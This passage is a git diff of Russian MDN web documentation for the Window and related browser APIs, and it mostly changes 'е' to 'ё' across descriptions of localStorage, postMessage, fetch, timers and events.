<dt>{{domxref("Window.resizeTo()")}}</dt> <dd>Динамически меняет размер окна.</dd> <dt>{{domxref("Window.restore()")}}</dt> @@ -257,7 +257,7 @@ translation_of: Web/API/Window <dt>{{domxref("Window.setCursor()")}}</dt> <dd>Меняет курсор для текущего окна.</dd> <dt>{{domxref("Window.setImmediate()")}}</dt> - <dd>Исполняет функцию после того, как браузер некую тяжелую задачу.</dd> + <dd>Исполняет функцию после того, как браузер некую тяжёлую задачу.</dd> <dt>{{domxref("WindowTimers.setInterval()")}}</dt> <dd>Назначает выполнение функции каждые X миллисекунд.</dd> <dt>{{domxref("Window.setResizable")}}</dt> @@ -276,7 +276,7 @@ translation_of: Web/API/Window <h3 id="Методы_реализованные_из_других_мест">Методы, реализованные из других мест</h3> </dt> <dt>{{domxref("EventTarget.addEventListener()")}}</dt> - <dd>Регистрирует обработчики определенного типа событий в окне.</dd> + <dd>Регистрирует обработчики определённого типа событий в окне.</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt> <dd>Декодирует строку данных, которая была закодирована, используя кодировку base-64.</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt> @@ -361,7 +361,7 @@ translation_of: Web/API/Window <dt>{{domxref("GlobalEventHandlers.onload")}}</dt> <dd>Свойство обработчика событий для загрузки окна.</dd> <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt> - <dd>{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("message")}}.</dd> + <dd>{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдёт событие {{event("message")}}.</dd> <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt> <dd>Свойство обработчика событий для события mousedown в окне.</dd> <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt> @@ -395,11 +395,11 @@ translation_of: Web/API/Window <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt> <dd>Свойство обработчика событий для прокрутки окна.</dd> <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt> - <dd>Вызывается, когда было прокручено колесико мыши в любую сторону.</dd> + <dd>Вызывается, когда было прокручено колёсико мыши в любую сторону.</dd> <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt> <dd>Свойство обработчика событий для события выбора в окне.</dd> <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt> - <dd>{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("selectionchange")}}.</dd> + <dd>{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдёт событие {{event("selectionchange")}}.</dd> <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt> <dd>Свойство обработчика событий для события submits в окне формы.</dd> <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt> @@ -413,7 +413,7 @@ translation_of: Web/API/Window <dt>{{domxref("Window.onvrdisplaydisconnected")}} {{experimental_inline}}</dt> <dd>Представляет обработчик события, который будет запущен, когда подходящее устройство виртуальной реальности было отсоединено от компьютера (когда запускается событие {{event("vrdisplaydisconnected")}}).</dd> <dt>{{domxref("Window.onvrdisplaypresentchange")}} {{experimental_inline}}</dt> - <dd>Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдет от представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).</dd> + <dd>Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдёт от представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).</dd> </dl> <h2 id="Конструкторы">Конструкторы</h2> @@ -422,7 +422,7 @@ translation_of: Web/API/Window <dl> <dt>{{domxref("Window.ConstantSourceNode")}}</dt> - <dd>Создает экземпляр {{domxref("ConstantSourceNode")}}</dd> + <dd>Создаёт экземпляр {{domxref("ConstantSourceNode")}}</dd> </dl> <dl> @@ -431,9 +431,9 @@ translation_of: Web/API/Window <dt>{{domxref("Window.GeckoActiveXObject")}}</dt> <dd>{{todo("NeedsContents")}}</dd> <dt>{{domxref("Image")}}</dt> - <dd>Создает {{domxref("HTMLImageElement")}}.</dd> + <dd>Создаёт {{domxref("HTMLImageElement")}}.</dd> <dt>{{domxref("Option")}}</dt> - <dd>Создает {{domxref("HTMLOptionElement")}}</dd> + <dd>Создаёт {{domxref("HTMLOptionElement")}}</dd> <dt>{{domxref("Window.QueryInterface")}}</dt> <dd>{{todo("NeedsContents")}}</dd> <dt>{{domxref("Window.XMLSerializer")}}</dt> diff --git a/files/ru/web/api/window/innerheight/index.html b/files/ru/web/api/window/innerheight/index.html index 5207cf8536..a9ab800401 100644 --- a/files/ru/web/api/window/innerheight/index.html +++ b/files/ru/web/api/window/innerheight/index.html @@ -33,7 +33,7 @@ translation_of: Web/API/Window/innerHeight <pre class="brush:js">var intFrameHeight = window.innerHeight; // or var intFrameHeight = self.innerHeight; -// вернет высоту окна просмотра кадра в наборе кадров +// вернёт высоту окна просмотра кадра в наборе кадров var intFramesetHeight = parent.innerHeight; // will return the height of the viewport of the closest frameset diff --git a/files/ru/web/api/window/localstorage/index.html b/files/ru/web/api/window/localstorage/index.html index d16b779f35..b5143f7ccf 100644 --- a/files/ru/web/api/window/localstorage/index.html +++ b/files/ru/web/api/window/localstorage/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Window/localStorage <p>Свойство <strong><code>localStorage</code></strong> позволяет получить доступ к {{domxref("Storage")}} объекту. <code>localStorage</code> аналогично свойству <code><a href="/en-US/docs/Web/API/Window.sessionStorage">sessionStorage</a></code>. Разница только в том, что свойство <code>sessionStorage </code>хранит данные в течение сеанса (до закрытия браузера), в отличие от данных, находящихся в свойстве <code>localStorage</code>, которые не имеют ограничений по времени хранения и могут быть удалены только с помощью JavaScript.</p> -<p>Следует отметить, что данные, сохраненные как в <code>localStorage</code>, так и в <code>sessionStorage</code>, являться специфичными для протокола страницы.</p> +<p>Следует отметить, что данные, сохранённые как в <code>localStorage</code>, так и в <code>sessionStorage</code>, являться специфичными для протокола страницы.</p> <p>Ключи и значения <strong>всегда строки</strong> (так же, как и объекты, целочисленные ключи автоматически будут преобразованы в строки).</p> @@ -42,7 +42,7 @@ translation_of: Web/API/Window/localStorage <pre class="brush: js">localStorage.setItem('myCat', 'Tom');</pre> -<p>Считывать данные из localStorage для определенного ключа, можно следующим образом:</p> +<p>Считывать данные из localStorage для определённого ключа, можно следующим образом:</p> <pre class="brush: js">let cat = localStorage.getItem('myCat'); </pre> @@ -83,7 +83,7 @@ translation_of: Web/API/Window/localStorage <p>{{Compat("api.Window.localStorage")}}</p> -<p>Все браузеры имеют различный уровень объема для <code>localStorage</code> и <code>sessionStorage</code>. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для <code>localStorage</code> и <code>sessionStorage</code>. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/window/location/index.html b/files/ru/web/api/window/location/index.html index d14951e9d3..26f2f2cd00 100644 --- a/files/ru/web/api/window/location/index.html +++ b/files/ru/web/api/window/location/index.html @@ -29,7 +29,7 @@ location = <em>newLocation</em>; <h3 id="Пример_№1_Переход_на_новую_страницу">Пример №1: Переход на новую страницу</h3> -<p>Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван <code>location.assign()</code> с измененным URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.</p> +<p>Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван <code>location.assign()</code> с изменённым URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.</p> <pre class="brush: js">location.assign("http://www.mozilla.org"); // или location = "http://www.mozilla.org"; @@ -73,7 +73,7 @@ location = "http://www.mozilla.org"; // в html: <button onclick="sendData('Some data');">Отправить данные</button> </pre> -<p>Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счет изменения строки search).</p> +<p>Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счёт изменения строки search).</p> <h3 id="Пример_№6_Использование_закладок_без_изменения_свойства_hash">Пример №6: Использование закладок без изменения свойства hash</h3> diff --git a/files/ru/web/api/window/mozanimationstarttime/index.html b/files/ru/web/api/window/mozanimationstarttime/index.html index 372a07f62e..52c4ce128c 100644 --- a/files/ru/web/api/window/mozanimationstarttime/index.html +++ b/files/ru/web/api/window/mozanimationstarttime/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Window/mozAnimationStartTime <h3 id="Summary" name="Summary">Summary</h3> -<p>Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определенный момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, <code><a href="/en/JavaScript/Reference/Global_Objects/Date/now" title="en/JavaScript/Reference/Global Objects/Date/now">Date.now()</a></code>, потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.</p> +<p>Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определённый момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, <code><a href="/en/JavaScript/Reference/Global_Objects/Date/now" title="en/JavaScript/Reference/Global Objects/Date/now">Date.now()</a></code>, потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.</p> <p>Это также позволяет анимациям JavaScript оставаться синхронизированными с CSS переходами и SMIL анимациями, запущенными в течение того же интервала обновления.</p> diff --git a/files/ru/web/api/window/pageyoffset/index.html b/files/ru/web/api/window/pageyoffset/index.html index 2ecd37d8a1..d2267fe9e8 100644 --- a/files/ru/web/api/window/pageyoffset/index.html +++ b/files/ru/web/api/window/pageyoffset/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/Window/pageYOffset <h3 id="Значение">Значение</h3> -<p>Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка еще не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.</p> +<p>Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка ещё не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.</p> <p>Т.к. данное свойство соответствует {{domxref("Window.scrollY")}}, обратитесь к его описанию за более детальной информацией о значении и использовании.</p> @@ -81,7 +81,7 @@ document.getElementById("frame").contentDocument </pre> </div> -<p>В данном примере создается элемент {{HTMLElement("iframe")}}, и задается его содержимое, затем определенный элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения <code>pageYOffset</code> у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.</p> +<p>В данном примере создаётся элемент {{HTMLElement("iframe")}}, и задаётся его содержимое, затем определённый элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения <code>pageYOffset</code> у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.</p> <h3 id="HTML">HTML</h3> diff --git a/files/ru/web/api/window/popstate_event/index.html b/files/ru/web/api/window/popstate_event/index.html index 65c7ef6a93..c2f07004b4 100644 --- a/files/ru/web/api/window/popstate_event/index.html +++ b/files/ru/web/api/window/popstate_event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/popstate_event --- <p>Событие <code>popstate</code> вызывается, когда изменяется активная запись истории. Если изменение записи истории было вызвано методом <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#The_pushState()_method">history.pushState()</a></code> или <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#The_replaceState()_method">history.replaceState()</a></code>, то состояние события <code>popstate</code> будет содержать <code>state </code>копии входящего в историю объекта</p> -<p>Обратите внимание, <code>history.pushState()</code> или <code>history.replaceState()</code> не вызывают событие <code>popstate</code>. Событие <code>popstate</code> будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперед" или "Назад" (или при вызове <code>history.back()</code> или <code> history.forward()</code> из JavaScript).</p> +<p>Обратите внимание, <code>history.pushState()</code> или <code>history.replaceState()</code> не вызывают событие <code>popstate</code>. Событие <code>popstate</code> будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперёд" или "Назад" (или при вызове <code>history.back()</code> или <code> history.forward()</code> из JavaScript).</p> <p>Браузеры работают с событием <code>popstate</code> по разному. Chrome (prior to v34) и Safari всегда вызывают <code>popstate</code> по окончании загрузки страницы, а Firefox не делает этого.</p> diff --git a/files/ru/web/api/window/postmessage/index.html b/files/ru/web/api/window/postmessage/index.html index d6db0cff3a..749e388816 100644 --- a/files/ru/web/api/window/postmessage/index.html +++ b/files/ru/web/api/window/postmessage/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/postMessage --- <div>{{ApiRef("HTML DOM")}}</div> -<p><strong><code>Window.postMessage()</code></strong> - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешен доступ друг к другу только если страницы, которые их выполняли, передаются по одному протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). <code>window.postMessage()</code> предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.</p> +<p><strong><code>Window.postMessage()</code></strong> - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешён доступ друг к другу только если страницы, которые их выполняли, передаются по одному протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). <code>window.postMessage()</code> предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.</p> <p><font face="Open Sans, arial, x-locale-body, sans-serif">При вызове метода </font><code>window.postMessage()</code> он вызывает {{domxref("MessageEvent")}} для отправки в целевом окне, когда завершается любой ожидающий сценарий, который должен быть выполнен (например, оставшиеся обработчики событий, если <code>window.postMessage()</code> вызывается из обработчика событий ранее заданных ожидающих таймаутов). {{domxref("MessageEvent")}} имеет тип <code>message</code>, <code>data-свойство</code> которого устанавливает значение первого аргумента в методе <code>window.postMessage()</code>, свойство <code>origin</code> соответствует адресу основного документа в вызове <code>window.postMessage</code> во время вызова <code>window.postMessage()</code>, свойство <code>source</code> указывает на окно, из которого <code>window.postMessage()</code> вызвали. (Другие стандартные свойства событий имеют ожидаемые значения)</p> @@ -54,7 +54,7 @@ function receiveMessage(event) <p><strong>Если вы не ожидаете получения сообщения от других сайтов, не добавляйте обработчики событий <code>message</code>.</strong> Это гарантированный способ избежать проблем с безопасностью.</p> -<p>Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя <code>origin</code> и возможно <code>source</code> свойства. Любой сайт (включая, например, <code class="nowiki">http://evil.example.com</code>) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлет вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.</p> +<p>Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя <code>origin</code> и возможно <code>source</code> свойства. Любой сайт (включая, например, <code class="nowiki">http://evil.example.com</code>) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлёт вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.</p> <p><strong>Всегда конкретизируйте целевой первоисточник, а не просто <code>*</code>, когда вы используете <code>postMessage</code> для отправки данных другим окнам. Вредоносный сайт может изменить локацию окна без вашего ведома и затем перехватить данные, посылаемые с использованием </strong><code>postMessage</code>.</p> diff --git a/files/ru/web/api/window/prompt/index.html b/files/ru/web/api/window/prompt/index.html index 14c240a49a..643ae4685e 100644 --- a/files/ru/web/api/window/prompt/index.html +++ b/files/ru/web/api/window/prompt/index.html @@ -32,7 +32,7 @@ var sign = prompt(); // открывается пустое окошко var sign = window.prompt('Are you feeling lucky'); // открывается окошко с текстом "Are you feeling lucky" var sign = window.prompt('Are you feeling lucky', 'sure'); // открывается окошко с текстом "Are you feeling lucky" и значением по умолчанию "sure"</pre> -<p>Когда пользователь нажимает кнопку OK, функция возвращает текст, введенный в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает <code>null</code>.</p> +<p>Когда пользователь нажимает кнопку OK, функция возвращает текст, введённый в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает <code>null</code>.</p> <p>Вышеописанный prompt будет выглядеть следующим образом (в Chrome на OS X):</p> @@ -40,7 +40,7 @@ var sign = window.prompt('Are you feeling lucky', 'sure'); // открывает <h2 id="Notes" name="Notes">Примечания</h2> -<p>prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введенный пользователем в текстовое поле.</p> +<p>prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введённый пользователем в текстовое поле.</p> <p><span class="comment">The following text is shared between this article, DOM:window.confirm and DOM:window.alert</span>Диалоговые окна являются модальными; они блокируют доступ пользователя к остальному интерфейсу программы, пока диалоговое окно не будет закрыто. По этой причине вы не должны злоупотреблять функциями, которые создают диалоговое окно (или модальное окно).</p> diff --git a/files/ru/web/api/window/requestanimationframe/index.html b/files/ru/web/api/window/requestanimationframe/index.html index e0a03b8dad..ae4dfb12d5 100644 --- a/files/ru/web/api/window/requestanimationframe/index.html +++ b/files/ru/web/api/window/requestanimationframe/index.html @@ -51,7 +51,7 @@ window.requestAnimationFrame(step);</pre> <h2 id="Примечание">Примечание</h2> -<p>В Edge версиях младше 17 и в Internet Explorer не надежно запускать <code>requestAnimationFrame</code> перед циклом рисования.</p> +<p>В Edge версиях младше 17 и в Internet Explorer не надёжно запускать <code>requestAnimationFrame</code> перед циклом рисования.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/window/self/index.html b/files/ru/web/api/window/self/index.html index 327e29d143..b564cfc1d4 100644 --- a/files/ru/web/api/window/self/index.html +++ b/files/ru/web/api/window/self/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/self --- <p>{{ APIRef() }}</p> -<p>Свойство <code><strong>Window.self</strong></code> доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект <code>window</code> (<code>window.self</code>) или переменную <code>self</code>. Преимущество доступа через переменную <code>self</code> заключается в том, что ее можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование <code>self</code> дает возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае <code>self</code> эквивалентна <code>window.self</code>), но также в воркерах (в случае воркера <code>self</code> эквивалентна {{domxref("WorkerGlobalScope.self")}}).</p> +<p>Свойство <code><strong>Window.self</strong></code> доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект <code>window</code> (<code>window.self</code>) или переменную <code>self</code>. Преимущество доступа через переменную <code>self</code> заключается в том, что её можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование <code>self</code> даёт возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае <code>self</code> эквивалентна <code>window.self</code>), но также в воркерах (в случае воркера <code>self</code> эквивалентна {{domxref("WorkerGlobalScope.self")}}).</p> <h2 id="Notes" name="Notes">Пример</h2> diff --git a/files/ru/web/api/window/sessionstorage/index.html b/files/ru/web/api/window/sessionstorage/index.html index 787b2f308d..720db502de 100644 --- a/files/ru/web/api/window/sessionstorage/index.html +++ b/files/ru/web/api/window/sessionstorage/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/sessionStorage --- <p>{{APIRef()}}</p> -<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font>sessionStorage</code> позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохраненные в localStorage не имеют определенного времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остается активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. <strong>Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, </strong>что отличается от поведения session cookies<strong>.</strong></p> +<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font>sessionStorage</code> позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохранённые в localStorage не имеют определённого времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остаётся активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. <strong>Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, </strong>что отличается от поведения session cookies<strong>.</strong></p> <h2 id="Синтаксис">Синтаксис</h2> @@ -25,7 +25,7 @@ var data = sessionStorage.getItem('key');</pre> <pre class="brush: js">sessionStorage.setItem('myCat', 'Tom');</pre> -<p>Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение текстового поля будет восстановлено. Таким образом ничего из введенного пользователем не потеряется даже в этом случае.</p> +<p>Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение текстового поля будет восстановлено. Таким образом ничего из введённого пользователем не потеряется даже в этом случае.</p> <pre class="brush: js">// Получаем ссылку на текстовое поле, // изменение которого будем отслеживать. diff --git a/files/ru/web/api/window/unhandledrejection_event/index.html b/files/ru/web/api/window/unhandledrejection_event/index.html index c32838dc9c..cd1996b7b2 100644 --- a/files/ru/web/api/window/unhandledrejection_event/index.html +++ b/files/ru/web/api/window/unhandledrejection_event/index.html @@ -4,7 +4,7 @@ slug: Web/API/Window/unhandledrejection_event translation_of: Web/API/Window/unhandledrejection_event original_slug: Web/Events/unhandledrejection --- -<p>Событие <strong><code>unhandledrejection</code></strong> происходит, когда {{jsxref("Promise")}} завершен с ошибкой, но на данную ошибку не установлен обработчик.</p> +<p>Событие <strong><code>unhandledrejection</code></strong> происходит, когда {{jsxref("Promise")}} завершён с ошибкой, но на данную ошибку не установлен обработчик.</p> <table class="properties"> <tbody> @@ -37,7 +37,7 @@ original_slug: Web/Events/unhandledrejection <h2 id="Inheritance">Inheritance</h2> -<p>Событие <code>unhandledrejection</code> реализует {{domxref("PromiseRejectionEvent")}} интерфейс, который наследуется от {{domxref("Event")}}. Вы можете использовать свойства и методы, определенные в данных интерфейсах.</p> +<p>Событие <code>unhandledrejection</code> реализует {{domxref("PromiseRejectionEvent")}} интерфейс, который наследуется от {{domxref("Event")}}. Вы можете использовать свойства и методы, определённые в данных интерфейсах.</p> <p>{{InheritanceDiagram('','','', 'PromiseRejectionEvent')}}</p> diff --git a/files/ru/web/api/windoweventhandlers/onpopstate/index.html b/files/ru/web/api/windoweventhandlers/onpopstate/index.html index 62d82bd693..049f842c4f 100644 --- a/files/ru/web/api/windoweventhandlers/onpopstate/index.html +++ b/files/ru/web/api/windoweventhandlers/onpopstate/index.html @@ -38,7 +38,7 @@ history.back(); // alerts "location: http://example.com/example.html, state: nul history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3} </pre> -<p>Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для <code>http://example.com/example.html</code>) не имеет объекта события, связанного с ней, событие <code>popstate</code> все равно произойдет, когда мы активируем эту запись после второго вызова <code>history.back()</code>.</p> +<p>Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для <code>http://example.com/example.html</code>) не имеет объекта события, связанного с ней, событие <code>popstate</code> все равно произойдёт, когда мы активируем эту запись после второго вызова <code>history.back()</code>.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/windoworworkerglobalscope/atob/index.html b/files/ru/web/api/windoworworkerglobalscope/atob/index.html index 28d58a52f1..b158668263 100644 --- a/files/ru/web/api/windoworworkerglobalscope/atob/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/atob/index.html @@ -117,7 +117,7 @@ var decodedData = window.atob(encodedData); // декодирует строку <p>[2] Начиная с <a href="/en-US/Firefox/Releases/27/Site_Compatibility">Firefox 27</a>, <code>atob()</code> игнорирует все символы пробелов в аргументе, чтобы соответствовать последним HTML5 спецификациям (смотри {{bug(711180)}}).</p> -<p>[3] <code>atob()</code> теперь определен в миксине {{domxref("WindowOrWorkerGlobalScope")}}.</p> +<p>[3] <code>atob()</code> теперь определён в миксине {{domxref("WindowOrWorkerGlobalScope")}}.</p> <h2 id="Смотри_также">Смотри также</h2> diff --git a/files/ru/web/api/windoworworkerglobalscope/btoa/index.html b/files/ru/web/api/windoworworkerglobalscope/btoa/index.html index fdb51cfb15..3ccd17db68 100644 --- a/files/ru/web/api/windoworworkerglobalscope/btoa/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/btoa/index.html @@ -6,7 +6,7 @@ original_slug: Web/API/WindowBase64/btoa --- <div>{{APIRef("HTML DOM")}}</div> -<p>Создает ASCII строку закодированную в base-64 из "строки" бинарных данных.</p> +<p>Создаёт ASCII строку закодированную в base-64 из "строки" бинарных данных.</p> <p>Будьте внимательней этот способ не подходит для <a href="http://www.unicode.org/standard/WhatIsUnicode.html">Unicode</a> строк! Описание работы с Unicode в секции ниже.</p> diff --git a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html index 8d398013ce..aeedb7435c 100644 --- a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html @@ -17,14 +17,14 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout <dl> <dt><code><em>timeoutID</em></code></dt> <dd></dd> - <dd>Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращен соответствующим вызовом <code>setTimeout()</code>.</dd> + <dd>Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращён соответствующим вызовом <code>setTimeout()</code>.</dd> </dl> <p>It's worth noting that the pool of IDs used by {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} and {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} are shared, which means you can technically use <code>clearTimeout()</code> and {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} interchangeably. However, for clarity, you should avoid doing so.</p> <h2 id="Example" name="Example">Пример использования:</h2> -<p>Запустите приведенный ниже скрипт в контакте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щелкните страницу несколько раз за одну секунду, предупреждение появится только один раз.</p> +<p>Запустите приведённый ниже скрипт в контакте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щёлкните страницу несколько раз за одну секунду, предупреждение появится только один раз.</p> <pre class="brush: js notranslate">var alarm = { remind: function(aMessage) { @@ -51,7 +51,7 @@ window.onclick = function() { alarm.setup(); }; <h2 id="Notes" name="Notes">Примечания</h2> -<p>Передача недействительного ID <code>clearTimeout()</code> ни к чему не приведет. Исключение не создается.</p> +<p>Передача недействительного ID <code>clearTimeout()</code> ни к чему не приведёт. Исключение не создается.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html index d95c0b77ec..cffef51d3e 100644 --- a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html @@ -70,7 +70,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/fetch <tbody> <tr> <td><code>AbortError</code></td> - <td>Запрос был отменен (используя {{domxref("AbortController.abort()")}}).</td> + <td>Запрос был отменён (используя {{domxref("AbortController.abort()")}}).</td> </tr> <tr> <td><code>TypeError</code></td> @@ -81,7 +81,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/fetch <h2 id="Пример">Пример</h2> -<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-request">Fetch Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>) мы создаем новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом <code>fetch()</code>. Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаем для него Object URL и передаем ее в элемент {{htmlelement("img")}}.</p> +<p>В нашем <a 